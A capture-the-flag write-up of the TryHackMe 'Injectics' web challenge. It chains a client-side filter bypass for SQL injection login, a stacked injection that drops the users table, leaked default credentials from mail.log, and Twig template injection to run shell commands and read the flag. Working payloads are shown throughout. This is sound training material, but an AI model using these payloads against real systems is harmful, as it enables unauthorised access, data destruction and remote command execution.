Back to writeups

Injectics Web Challenge — TryHackMe

web sqli filter bypass ssti twig rce

TL;DR

The Injectics challenge exposed several weaknesses that could be chained together to fully compromise the application. Initial reconnaissance revealed public files such as script.js, mail.log and composer.json, as well as multiple application endpoints.

Analysis of the login JavaScript showed that SQL injection filtering was implemented only on the client side and only for the username field. By bypassing this weak blacklist and sending a crafted payload directly to functions.php, it was possible to authenticate successfully as the development user.

The mail.log file disclosed operational details about a background service named Injectics, which automatically recreated the users table with default credentials if it was deleted or corrupted. After logging in, the country medal editing functionality was abused to execute a SQL injection and drop the users table. One minute later, the service restored it with the known superadmin credentials, which allowed access to the administrator panel and retrieval of the first flag.

Finally, the administrator profile update feature was vulnerable to server-side template injection. By injecting Twig payloads into the reflected first name field, it was possible to confirm SSTI, execute system commands, enumerate files and read the final flag stored in the flags directory.

Reconnaissance

I started by performing directory enumeration with Gobuster against the target.

gobuster dir -u http://10.64.156.109 -w ~/SecLists/Discovery/Web-Content/raft-medium-directories.txt -x .php,.txt,.js,.html,.xml,.json,.log -t 30
/logout.php           (Status: 302) [Size: 0] [--> index.php]
/javascript           (Status: 301) [Size: 319] [--> http://10.64.156.109/javascript/]
/css                  (Status: 301) [Size: 312] [--> http://10.64.156.109/css/]
/script.js            (Status: 200) [Size: 1088]
/mail.log             (Status: 200) [Size: 1098]
/index.php            (Status: 200) [Size: 6588]
/phpmyadmin           (Status: 301) [Size: 319] [--> http://10.64.156.109/phpmyadmin/]
/functions.php        (Status: 200) [Size: 0]
/login.php            (Status: 200) [Size: 5401]
/dashboard.php        (Status: 302) [Size: 0] [--> dashboard.php]
/flags                (Status: 301) [Size: 314] [--> http://10.64.156.109/flags/]
/vendor               (Status: 301) [Size: 315] [--> http://10.64.156.109/vendor/]
/conn.php             (Status: 200) [Size: 0]
/server-status        (Status: 403) [Size: 278]
/composer.json        (Status: 200) [Size: 48]

Several interesting files and directories were exposed, especially:

  • script.js — client-side login logic.
  • mail.log — internal operational email content.
  • composer.json — information about PHP dependencies.
  • flags/ — a promising directory for later enumeration.

The main page of the application looked like an Olympic-style medal management platform.

Main page of the Injectics challenge

Client-Side Validation in script.js

The file script.js contained the login logic used by the application.

script.js showing login request and input filtering

The application attempted to block SQL injection by validating the username field against a blacklist:

const invalidKeywords = ['or', 'and', 'union', 'select', '"', "'"];
for (let keyword of invalidKeywords) {
    if (username.includes(keyword)) {
        alert('Invalid keywords detected');
        return false;
    }
}

This protection was fundamentally flawed for several reasons:

  • Client-side validation is not real security — it only runs in the browser and can be bypassed by intercepting the request.
  • Incomplete blacklist — the filter blocks words such as or, and, union and select, but does not account for operators like || and &&.
  • Partial coverage — only the username field is validated, while the password field is not restricted.
  • Case-sensitive bypasses and direct request tampering remain possible.

In practice, this meant the protection could be bypassed easily with Burp Suite, browser console requests or modified syntax.

Information Disclosure Through mail.log

The mail.log file contained an internal message from the development team.

From: dev@injectics.thm
To: superadmin@injectics.thm
Subject: Update before holidays

Hey,

Before heading off on holidays, I wanted to update you on the latest changes to the website. I have implemented several enhancements and enabled a special service called Injectics. This service continuously monitors the database to ensure it remains in a stable state.

To add an extra layer of safety, I have configured the service to automatically insert default credentials into the users table if it is ever deleted or becomes corrupted. This ensures that we always have a way to access the system and perform necessary maintenance. I have scheduled the service to run every minute.

Here are the default credentials that will be added:

Email: superadmin@injectics.thm | Password: superSecurePasswd101
Email: dev@injectics.thm        | Password: devPasswd123

This was extremely useful because it disclosed:

  • The existence of an automated recovery service named Injectics.
  • The fact that the users table would be automatically recreated if deleted.
  • Two default credential pairs:
    • superadmin@injectics.thm : superSecurePasswd101
    • dev@injectics.thm : devPasswd123

At this point, the attack path became clear: gain access to the application, find a SQL injection point capable of deleting the users table, wait for the recovery service to recreate it, and then log in with the default superadmin credentials.

Authentication Bypass with SQL Injection

Since the login filter was only implemented client-side, I submitted a tampered request directly to functions.php using the following payload:

username=admin'+||+1=1+--+-&password=x&function=login

The response confirmed a successful login:

{"status":"success","message":"Login successful","is_admin":"true","first_name":"dev","last_name":"dev","redirect_link":"dashboard.php?isadmin=false"}
Successful login response after SQL injection bypass

Returning to the browser showed that I was now logged in as the development user.

Dashboard after login as dev user

SQL Injection in the Medal Update Functionality

Once authenticated, the application allowed editing the medal counts for countries.

Country medal editing functionality

This feature appeared to interact directly with the database, so I tested it for injection vulnerabilities. By placing a malicious payload in the gold parameter, I was able to execute an additional SQL statement and delete the users table.

rank=1&country=&gold=1; DROP TABLE users; -- -&silver=1&bronze=1

The application accepted the input and showed a success message, confirming that the database operation had been executed.

Successful database drop operation

Since the internal service was configured to restore the users table every minute, the next step was simply to wait for the table to be recreated with the default credentials found in mail.log.

Logging in as Superadmin

After the recovery service had time to run, I used the disclosed administrator credentials to log in:

Email: superadmin@injectics.thm
Password: superSecurePasswd101

This granted administrative access and revealed the first flag.

Admin account access with first flag

Admin Profile Update and SSTI Discovery

As administrator, a profile update option became available. The profile contained three editable fields:

  • Email
  • First name
  • Last name
Administrator profile update option

Because the first name was reflected back on the main page, I tested whether it was rendered as a template by updating it to:

{{7*7}}

The application returned 49, confirming a server-side template injection.

SSTI confirmed with 7 times 7 payload

Identifying the Template Engine

To understand the environment better, I inspected the exposed composer.json file.

composer.json revealing Twig dependency

This revealed that the application was using:

twig/twig: 2.14.0

Knowing the template engine helped when testing payloads for code execution.

Command Execution Through Twig SSTI

After testing different payloads, I found a working technique using Twig’s sort filter with passthru:

{{['whoami', 0]|sort('passthru')|join}}
whoami command execution through SSTI

This confirmed that arbitrary system commands could be executed.

To discover the current working directory, I used:

{{['pwd', 0]|sort('passthru')|join}}
pwd command execution through SSTI

Next, I listed the files in the current directory:

{{['ls', 0]|sort('passthru')|join}}
Listing files in the current directory through SSTI

Retrieving the Final Flag

Since a flags directory had already been identified during reconnaissance, I used SSTI command execution to enumerate it:

{{['ls flags', 0]|sort('passthru')|join}}

This revealed the flag filename. I then used:

{{['cat flags/5d8af1dc14503c7e4bdc8e51a3469f48.txt', 0]|sort('passthru')|join}}

The command returned the contents of the flag file and completed the challenge.

Final flag retrieved through SSTI command execution

Attack Chain

  1. Enumerated the application and discovered exposed resources such as script.js, mail.log, composer.json and flags/.
  2. Inspected script.js and identified weak client-side SQL injection filtering in the login workflow.
  3. Used a login SQL injection payload to bypass authentication and access the application as the development user.
  4. Used the medal editing feature to inject SQL and drop the users table.
  5. Waited for the Injectics service to restore the table with the default credentials disclosed in mail.log.
  6. Logged in as superadmin@injectics.thm and obtained the first flag.
  7. Updated the reflected first name field with {{7*7}} to confirm SSTI.
  8. Used composer.json to identify Twig 2.14.0.
  9. Executed system commands with Twig payloads using passthru.
  10. Listed the flags directory and read the final flag file.